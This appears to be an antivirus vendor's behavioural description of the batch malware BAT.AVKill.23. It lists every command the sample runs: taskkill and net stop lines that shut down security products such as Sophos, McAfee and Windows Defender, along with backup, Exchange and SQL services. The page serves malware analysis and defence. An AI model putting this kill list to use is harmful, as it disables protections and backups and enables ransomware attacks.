BAT.AVKill.23

Technical Information

Malicious functions

Executes the following

'<SYSTEM32>\taskkill.exe' /im snac.exe /f
'<SYSTEM32>\net.exe' stop "Sophos Web Control Service" /y
'<SYSTEM32>\net.exe' stop "SQLsafe Backup Service" /y
'<SYSTEM32>\net.exe' stop "SQLsafe Filter Service" /y
'<SYSTEM32>\net.exe' stop "Symantec System Recovery" /y
'<SYSTEM32>\net.exe' stop "Veeam Backup Catalog Data Service" /y
'<SYSTEM32>\net.exe' stop "Sophos Safestore Service" /y
'<SYSTEM32>\net.exe' stop "Sophos System Protection Service" /y
'<SYSTEM32>\net.exe' stop AcronisAgent /y
'<SYSTEM32>\net.exe' stop ARSM /y
'<SYSTEM32>\net.exe' stop BackupExecAgentAccelerator /y
'<SYSTEM32>\net.exe' stop BackupExecAgentBrowser /y
'<SYSTEM32>\net.exe' stop BackupExecDeviceMediaService /y
'<SYSTEM32>\net.exe' stop BackupExecJobEngine /y
'<SYSTEM32>\net.exe' stop AcrSch2Svc /y
'<SYSTEM32>\net.exe' stop Antivirus /y
'<SYSTEM32>\net.exe' stop BackupExecRPCService /y
'<SYSTEM32>\net.exe' stop BackupExecManagementService /y
'<SYSTEM32>\net.exe' stop "Sophos MCS Agent" /y
'<SYSTEM32>\taskkill.exe' /im iswmgr.exe /f
'<SYSTEM32>\taskkill.exe' /im zapro.exe /f
'<SYSTEM32>\taskkill.exe' /im zonealarm.exe /f
'<SYSTEM32>\taskkill.exe' /im mantispm.exe /f
'<SYSTEM32>\net.exe' stop "Sophos MCS Client" /y
'<SYSTEM32>\taskkill.exe' /im vsmon.exe /f
'<SYSTEM32>\net.exe' stop "Sophos Message Router" /y
'<SYSTEM32>\net.exe' stop "Acronis VSS Provider" /y
'<SYSTEM32>\net.exe' stop "Sophos Clean Service" /y
'<SYSTEM32>\net.exe' stop "Sophos Device Control Service" /y
'<SYSTEM32>\net.exe' stop "Sophos File Scanner Service" /y
'<SYSTEM32>\net.exe' stop "Sophos Health Service" /y
'<SYSTEM32>\net.exe' stop "Enterprise Client Service" /y
'<SYSTEM32>\net.exe' stop "Sophos Agent" /y
'<SYSTEM32>\net.exe' stop "Sophos AutoUpdate Service" /y
'<SYSTEM32>\taskkill.exe' /im pccclient.exe /f
'<SYSTEM32>\net.exe' stop BackupExecVSSProvider /y
'<SYSTEM32>\net.exe' stop mozyprobackup /y
'<SYSTEM32>\net.exe' stop MsDtsServer100 /y
'<SYSTEM32>\net.exe' stop MsDtsServer110 /y
'<SYSTEM32>\net.exe' stop MSExchangeES /y
'<SYSTEM32>\net.exe' stop MSExchangeIS /y
'<SYSTEM32>\net.exe' stop MMS /y
'<SYSTEM32>\net.exe' stop MSExchangeMGMT /y
'<SYSTEM32>\net.exe' stop MsDtsServer /y
'<SYSTEM32>\net.exe' stop MSExchangeSA /y
'<SYSTEM32>\net.exe' stop MSOLAP$SQL_2008 /y
'<SYSTEM32>\net.exe' stop MSOLAP$SYSTEM_BGC /y
'<SYSTEM32>\net.exe' stop MSOLAP$TPS /y
'<SYSTEM32>\net.exe' stop MSOLAP$TPSAMA /y
'<SYSTEM32>\net.exe' stop MSExchangeMTA /y
'<SYSTEM32>\net.exe' stop mfevtp /y
'<SYSTEM32>\net.exe' stop MSExchangeSRS /y
'<SYSTEM32>\net.exe' stop mfemms /y
'<SYSTEM32>\net.exe' stop McTaskManager /y
'<SYSTEM32>\net.exe' stop DCAgent /y
'<SYSTEM32>\net.exe' stop EPUpdateService /y
'<SYSTEM32>\net.exe' stop EraserSvc11710 /y
'<SYSTEM32>\net.exe' stop EsgShKernel /y
'<SYSTEM32>\net.exe' stop FA_Scheduler /y
'<SYSTEM32>\net.exe' stop IMAP4Svc /y
'<SYSTEM32>\net.exe' stop macmnsvc /y
'<SYSTEM32>\net.exe' stop EPSecurityService /y
'<SYSTEM32>\net.exe' stop masvc /y
'<SYSTEM32>\net.exe' stop MBEndpointAgent /y
'<SYSTEM32>\net.exe' stop McAfeeEngineService /y
'<SYSTEM32>\net.exe' stop McAfeeFramework /y
'<SYSTEM32>\net.exe' stop McAfeeFrameworkMcAfeeFramework /y
'<SYSTEM32>\net.exe' stop McShield /y
'<SYSTEM32>\taskkill.exe' /im zlclient.exe /f
'<SYSTEM32>\net.exe' stop MBAMService /y
'<SYSTEM32>\taskkill.exe' /im forcefield.exe /f
'<SYSTEM32>\taskkill.exe' /im zillya.exe /f
'<SYSTEM32>\taskkill.exe' /im zavcore.exe /f
'<SYSTEM32>\taskkill.exe' /im zavaux.exe /f
'<SYSTEM32>\taskkill.exe' /im pcscnsrv.exe /f
'<SYSTEM32>\taskkill.exe' /im schupd.exe /f
'<SYSTEM32>\taskkill.exe' /im tmntsrv.exe /f
'<SYSTEM32>\taskkill.exe' /im tmpfw.exe /f
'<SYSTEM32>\taskkill.exe' /im pccnt.exe /f
'<SYSTEM32>\taskkill.exe' /im nsmdsch.exe /f
'<SYSTEM32>\taskkill.exe' /im pcctlcom.exe /f
'<SYSTEM32>\taskkill.exe' /im tmproxy.exe /f
'<SYSTEM32>\taskkill.exe' /im lwdmserver.exe /f
'<SYSTEM32>\taskkill.exe' /im mrf.exe /f
'<SYSTEM32>\taskkill.exe' /im isntsysmonitor /f
'<SYSTEM32>\taskkill.exe' /im ofcpfwsvc.exe /f
'<SYSTEM32>\taskkill.exe' /im tmas.exe /f
'<SYSTEM32>\taskkill.exe' /im entitymain.exe /f
'<SYSTEM32>\taskkill.exe' /im aphost.exe /f
'<SYSTEM32>\taskkill.exe' /im ofcdog.exe /f
'<SYSTEM32>\taskkill.exe' /im nsmdreal.exe /f
'<SYSTEM32>\taskkill.exe' /im dwwin.exe /f
'<SYSTEM32>\taskkill.exe' /im reportsvc.exe /f
'<SYSTEM32>\taskkill.exe' /im vptray.exe /f
'<SYSTEM32>\taskkill.exe' /im procexp.exe /f
'<SYSTEM32>\taskkill.exe' /im tdimon.exe /f
'<SYSTEM32>\taskkill.exe' /im tfun.exe /f
'<SYSTEM32>\taskkill.exe' /im tfgui.exe /f
'<SYSTEM32>\taskkill.exe' /im ssm.exe /f
'<SYSTEM32>\taskkill.exe' /im tfservice.exe /f
'<SYSTEM32>\taskkill.exe' /im tiaspn~1.exe /f
'<SYSTEM32>\taskkill.exe' /im traflnsp.exe /f
'<SYSTEM32>\taskkill.exe' /im asupport.exe /f
'<SYSTEM32>\taskkill.exe' /im isntsmtp.exe /f
'<SYSTEM32>\taskkill.exe' /im nsmdemf.exe /f
'<SYSTEM32>\taskkill.exe' /im nsmdmon.exe /f
'<SYSTEM32>\taskkill.exe' /im tftray.exe /f
'<SYSTEM32>\net.exe' stop MSSQL$BKUPEXEC /y
'<SYSTEM32>\net.exe' stop bedbg /y
'<SYSTEM32>\taskkill.exe' /im patch.exe /f
'<SYSTEM32>\taskkill.exe' /im pccpfw.exe /f
'<SYSTEM32>\taskkill.exe' /im vrvmail.exe /f
'<SYSTEM32>\taskkill.exe' /im vrvmon.exe /f
'<SYSTEM32>\taskkill.exe' /im vrvnet.exe /f
'<SYSTEM32>\taskkill.exe' /im vrv.exe /f
'<SYSTEM32>\taskkill.exe' /im usbguard.exe /f
'<SYSTEM32>\taskkill.exe' /im wrsa.exe /f
'<SYSTEM32>\taskkill.exe' /im sbamsvc.exe /f
'<SYSTEM32>\taskkill.exe' /im websensecontrolservice.exe /f
'<SYSTEM32>\taskkill.exe' /im msascui.exe /f
'<SYSTEM32>\taskkill.exe' /im msmpeng.exe /f
'<SYSTEM32>\taskkill.exe' /im mspmspsv.exe /f
'<SYSTEM32>\taskkill.exe' /im kb891711.exe /f
'<SYSTEM32>\taskkill.exe' /im networkagent.exe /f
'<SYSTEM32>\taskkill.exe' /im pccntupd.exe /f
'<SYSTEM32>\taskkill.exe' /im mpcmdrun.exe /f
'<SYSTEM32>\taskkill.exe' /im uploadrecord.exe /f
'<SYSTEM32>\taskkill.exe' /im stwatchdog.exe /f
'<SYSTEM32>\taskkill.exe' /im stopp.exe /f
'<SYSTEM32>\taskkill.exe' /im pcscan.exe /f
'<SYSTEM32>\taskkill.exe' /im pntiomon.exe /f
'<SYSTEM32>\taskkill.exe' /im pop3pack.exe /f
'<SYSTEM32>\taskkill.exe' /im pop3trap.exe /f
'<SYSTEM32>\taskkill.exe' /im scanmailoutlook.exe /f
'<SYSTEM32>\taskkill.exe' /im pcclient.exe /f
'<SYSTEM32>\taskkill.exe' /im smoutlookpack.exe /f
'<SYSTEM32>\taskkill.exe' /im euqmonitor.exe /f
'<SYSTEM32>\taskkill.exe' /im smex_activeupda /f
'<SYSTEM32>\taskkill.exe' /im smex_master.exe /f
'<SYSTEM32>\taskkill.exe' /im smex_remoteconf /f
'<SYSTEM32>\taskkill.exe' /im smex_systemwatc /f
'<SYSTEM32>\taskkill.exe' /im svcgenerichost /f
'<SYSTEM32>\taskkill.exe' /im webtrapnt.exe /f
'<SYSTEM32>\taskkill.exe' /im spntsvc.exe /f
'<SYSTEM32>\taskkill.exe' /im pccguide.exe /f
'<SYSTEM32>\net.exe' stop MSSQL$ECWDB2 /y

Miscellaneous

Searches for the following windows

ClassName: '' WindowName: ''

Executes the following

'<SYSTEM32>\net1.exe' stop "Acronis VSS Provider" /y
'<SYSTEM32>\net1.exe' stop EsgShKernel /y
'<SYSTEM32>\net1.exe' stop FA_Scheduler /y
'<SYSTEM32>\net1.exe' stop IMAP4Svc /y
'<SYSTEM32>\net1.exe' stop macmnsvc /y
'<SYSTEM32>\net1.exe' stop masvc /y
'<SYSTEM32>\net1.exe' stop MBAMService /y
'<SYSTEM32>\net1.exe' stop MBEndpointAgent /y
'<SYSTEM32>\net1.exe' stop McAfeeEngineService /y
'<SYSTEM32>\net1.exe' stop McAfeeFramework /y
'<SYSTEM32>\net1.exe' stop McAfeeFrameworkMcAfeeFramework /y
'<SYSTEM32>\net1.exe' stop McShield /y
'<SYSTEM32>\net1.exe' stop McTaskManager /y
'<SYSTEM32>\net1.exe' stop mfemms /y
'<SYSTEM32>\net1.exe' stop mfevtp /y
'<SYSTEM32>\net1.exe' stop MMS /y
'<SYSTEM32>\net1.exe' stop mozyprobackup /y
'<SYSTEM32>\net1.exe' stop MsDtsServer /y
'<SYSTEM32>\net1.exe' stop MsDtsServer100 /y
'<SYSTEM32>\net1.exe' stop MsDtsServer110 /y
'<SYSTEM32>\net1.exe' stop MSExchangeES /y
'<SYSTEM32>\net1.exe' stop MSExchangeIS /y
'<SYSTEM32>\net1.exe' stop MSExchangeMGMT /y
'<SYSTEM32>\net1.exe' stop MSExchangeMTA /y
'<SYSTEM32>\net1.exe' stop MSExchangeSA /y
'<SYSTEM32>\net1.exe' stop MSExchangeSRS /y
'<SYSTEM32>\net1.exe' stop MSOLAP$SQL_2008 /y
'<SYSTEM32>\net1.exe' stop MSOLAP$SYSTEM_BGC /y
'<SYSTEM32>\net1.exe' stop MSOLAP$TPS /y
'<SYSTEM32>\net1.exe' stop MSOLAP$TPSAMA /y
'<SYSTEM32>\net1.exe' stop EraserSvc11710 /y
'<SYSTEM32>\net1.exe' stop MSSQL$BKUPEXEC /y
'<SYSTEM32>\net1.exe' stop EPUpdateService /y
'<SYSTEM32>\net1.exe' stop DCAgent /y
'<SYSTEM32>\net1.exe' stop "Enterprise Client Service" /y
'<SYSTEM32>\net1.exe' stop "Sophos Agent" /y
'<SYSTEM32>\net1.exe' stop "Sophos AutoUpdate Service" /y
'<SYSTEM32>\net1.exe' stop "Sophos Clean Service" /y
'<SYSTEM32>\net1.exe' stop "Sophos Device Control Service" /y
'<SYSTEM32>\net1.exe' stop "Sophos File Scanner Service" /y
'<SYSTEM32>\net1.exe' stop "Sophos Health Service" /y
'<SYSTEM32>\net1.exe' stop "Sophos MCS Agent" /y
'<SYSTEM32>\net1.exe' stop "Sophos MCS Client" /y
'<SYSTEM32>\net1.exe' stop "Sophos Message Router" /y
'<SYSTEM32>\net1.exe' stop "Sophos Safestore Service" /y
'<SYSTEM32>\net1.exe' stop "Sophos System Protection Service" /y
'<SYSTEM32>\net1.exe' stop "Sophos Web Control Service" /y
'<SYSTEM32>\net1.exe' stop "SQLsafe Backup Service" /y
'<SYSTEM32>\net1.exe' stop "SQLsafe Filter Service" /y
'<SYSTEM32>\net1.exe' stop "Symantec System Recovery" /y
'<SYSTEM32>\net1.exe' stop "Veeam Backup Catalog Data Service" /y
'<SYSTEM32>\net1.exe' stop AcronisAgent /y
'<SYSTEM32>\net1.exe' stop AcrSch2Svc /y
'<SYSTEM32>\net1.exe' stop Antivirus /y
'<SYSTEM32>\net1.exe' stop ARSM /y
'<SYSTEM32>\net1.exe' stop BackupExecAgentAccelerator /y
'<SYSTEM32>\net1.exe' stop BackupExecAgentBrowser /y
'<SYSTEM32>\net1.exe' stop BackupExecDeviceMediaService /y
'<SYSTEM32>\net1.exe' stop BackupExecJobEngine /y
'<SYSTEM32>\net1.exe' stop BackupExecManagementService /y
'<SYSTEM32>\net1.exe' stop BackupExecRPCService /y
'<SYSTEM32>\net1.exe' stop BackupExecVSSProvider /y
'<SYSTEM32>\net1.exe' stop bedbg /y
'<SYSTEM32>\net1.exe' stop EPSecurityService /y
'<SYSTEM32>\net1.exe' stop MSSQL$ECWDB2 /y

Technologies

Terminology

Training and education

Myths

Technical Information

Curing recommendations

Free trial